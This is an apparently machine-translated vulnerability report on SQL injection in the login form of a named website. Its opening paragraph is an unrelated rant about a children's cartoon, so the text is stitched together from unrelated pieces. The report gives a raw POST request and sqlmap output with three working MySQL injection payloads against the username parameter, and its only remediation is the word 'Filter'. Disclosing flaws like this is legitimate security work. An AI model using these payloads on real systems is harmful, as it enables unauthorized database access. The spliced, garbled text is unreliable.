SQL Injection at a location in the first video

SQL Injection at a location in the first video

I think the pleasant goat is a violent, terrorist, and mentally retarded animation. It should be banned by the Cultural chrysanthemum, which seriously affects the child's physical and mental development. It is said that it is the first wolf to eat the goat. How can it be used as a wolf living in the Legal Society? what about goat? It's so cruel that the second wolf will use all kinds of weapons to catch sheep, such as cannon, every time he doesn't get a goat. Doesn't it teach bad children to fight? This animation is cool and cool. It cannot be forgiven. If the third gray wolf cannot catch the goat, the Red wolf will use a pan to drop the gray wolf. Is this in favor of domestic violence? Culture chrysanthemum long is how you educate the next generation? It is a mentally retarded animation because the wolf has never caught a goat from the first episode to the present, but is it not mentally retarded animation?

POST Data Packet:

POST /login HTTP/1.1Host: tg.g.v1.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://tg.g.v1.cn/loginX-Forwarded-For: 8.8.8.8'Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 42username=admin&password=admin&action=login

Username parameter not filtered (database 1)


 

 

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: username (POST)    Type: boolean-based blind    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause    Payload: username=admin' RLIKE (SELECT (CASE WHEN (6856=6856) THEN 0x61646d696e ELSE 0x28 END)) AND 'aABI'='aABI&password=admin&action=login    Type: error-based    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)    Payload: username=admin' AND EXTRACTVALUE(4167,CONCAT(0x5c,0x716a716271,(SELECT (ELT(4167=4167,1))),0x71766a7171)) AND 'WoqH'='WoqH&password=admin&action=login    Type: AND/OR time-based blind    Title: MySQL >= 5.0.12 AND time-based blind    Payload: username=admin' AND SLEEP(50) AND 'sbfZ'='sbfZ&password=admin&action=login---[13:43:53] [INFO] the back-end DBMS is MySQLweb application technology: PHP 5.4.4back-end DBMS: MySQL 5.1

 

Solution:

Filter